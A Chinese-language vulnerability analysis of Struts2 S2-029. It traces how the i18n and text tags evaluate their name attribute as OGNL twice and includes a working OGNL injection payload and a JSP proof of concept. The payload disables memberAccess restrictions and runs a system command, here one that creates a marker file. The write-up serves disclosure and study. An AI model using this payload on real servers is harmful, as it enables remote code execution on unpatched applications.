S2-029 Struts2 标签远程代码执行分析(含POC)

3 篇文章 0 订阅

0×00  标签介绍

Struts2标签库提供了主题、模板支持,极大地简化了视图页面的编写,而且,struts2的主题、模板都提供了很好的扩展性。实现了更好的代码复用。 Struts2允许在页面中使用自定义组件,这完全能满足项目中页面显示复杂,多变的需求。

Struts2的标签库有一个巨大的改进之处,struts2标签库的标签不依赖于任何表现层技术,也就是说 strtus2提供了大部分标签,可以在各种表现技术中使用。包括最常用的jsp页面,也可以说 Velocity 和FreeMarker等模板技术中的使用。

0×01 漏洞分析

struts2的i18n,text标签的 name属性处理的时候会经过两次ognl执行,从而导致远程代码执行。

标签使用如下所示:

<s:i18nname="%{#request.lan}">xxxxx</s:i18n>

<s:textname="%{#request.lan}">xxxxx</s:text>

上面两个标签name属性都存在问题 下面对i18n标签做分析

跟踪i18n标签name 属性在代码中的处理:

org.apache.struts2.components.I18n

......

public boolean start(Writer writer) {

boolean result = super.start(writer);

try

{

String name = findString(this.name,"name", "Resource bundle name is required. Example: foo orfoo_en");//i18nname属性进行ognl执行并将结果赋值给name

ResourceBundle bundle = (ResourceBundle)findValue("getTexts('"+ name + "')");//对上面获取的name属性继续做ognl表达式执行

......

}

}

其中对findString方法进行跟踪,则可以跟踪到

com.opensymphony.xwork2.ognl.OgnlValueStack的protected Object findValue(Stringexpr, String field, String errorMsg) 方法,该方法是用来执行ognl表达式。

其中findValue方法进行跟踪,则可以跟踪到

com.opensymphony.xwork2.ognl.OgnlValueStack的public Object findValue(Stringexpr, boolean throwExceptionOnFailure) 方法,该方法也是用来执行ognl表达式。

测试流程:

假设设置request的lan 属性为:

'),request,#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('touch/tmp/dbapptest'),new java.lang.String('

其中运行的ognl表达式为%{request.lan}, 则第一次ognl表达式执行结果为:

'),request,#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('touch/tmp/dbapptest'),new java.lang.String('

执行完成之后name的值为:

'),request,#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('touch/tmp/dbapptest'),new java.lang.String('

然后将name值传入下面一行代码执行ognl, 其中ognl表达式为

getText(''),request,#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('touch/tmp/dbapptest'),new java.lang.String('')

从而导致命令执行在/tmp目录下生成dbapptest 文件

其中poc中需要设置#_memberAccess['allowPrivateAccess']=true 用来授权访问private方法,

#_memberAccess['allowStaticMethodAccess']=true 用来授权允许调用静态方法,

#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties']用来将受限的包名设置为空

#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties']用来将受限的类名设置为空

#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch/tmp/dbapptest’),new java.lang.String(”)执行系统命令

0×02 漏洞poc

<%@pageimport="java.util.HashSet"%>

<%@ pagecontentType="text/html;charset=UTF-8" language="java" %>

<%@ taglib prefix="s"uri="/struts-tags" %>

<html>

<head><title>Demo jsppage</title></head>

<body>

<%

request.setAttribute("lan", "'),#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('touch/tmp/fuckxxx'),new java.lang.String('");

%>

<s:i18nname="%{#request.lan}">xxxxx</s:i18n>

</body>

</html>

http://www.freebuf.com/vuls/99432.html


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值